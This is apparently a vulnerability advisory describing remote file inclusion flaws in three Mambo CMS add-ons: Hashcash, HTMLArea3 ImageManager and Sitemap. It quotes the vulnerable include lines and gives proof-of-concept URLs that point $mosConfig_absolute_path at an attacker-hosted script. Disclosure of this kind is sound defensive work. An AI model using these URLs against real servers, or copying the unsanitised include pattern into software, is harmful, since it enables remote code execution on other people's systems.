Vulnerability:
~~~~~~~~~~~~~~
 
# Hashcash Component

In folder com_hashcash we found vulnerability script server.php.

-----------------------server.php---------------------------------------
<?php
include($mosConfig_absolute_path."/administrator/components/com_hashcash/config.hashcash.php");
require_once ($mosConfig_absolute_path.'/components/com_hashcash/CryptoStrategy.php');
...................

------------------------------------------------------------------------

# HTMLArea3 addon - ImageManager


In folder ImageManager we found vulnerability script config.inc.php.

-----------------------config.inc.php-----------------------------------
<?php
// $Id: config.inc.php, v 1.5 2004/06/03 17:35:27 bpfeifer Exp $
/**
* HTMLArea3 addon - ImageManager
* Based on Wei Zhuo's ImageManager

**/

require($mosConfig_absolute_path."/administrator/components/com_htmlarea3_xtd-c/config.htmlarea3_xtd-c.php");

------------------------------------------------------------------------

# Sitemap 2.0.0 for Mambo 4.5.1 CMS

In folder com_sitemap we found vulnerability script sitemap.xml.php.

-----------------------sitemap.xml.php----------------------
<?php

/**
* XML/XHTML menu system
* @package Mambo_4.5.1
* @copyright (C) 2000 - 2004 Miro International Pty Ltd
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL

* Author : Johan Janssens - [email protected] (http://www.jinx.be)
**/

// XML library
require_once( $mosConfig_absolute_path . '/includes/domit/xml_domit_lite_include.php' );

------------------------------------------------------------

Variables $mosConfig_absolute_path are not properly sanitized. When
register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
 
Proof Of Concept:
~~~~~~~~~~~~~~~
 
http://[target]/[path]/components/com_hashcash/server.php?mosConfig_absolute_path=http://attacker.com/evil.txt?
http://[target]/[path]/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=http://evilscript
http://[target]/[path]/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://attacker.com/evil.txt?

Solution:
~~~~~~~
 
sanitize variabel $mosConfig_absolute_path.
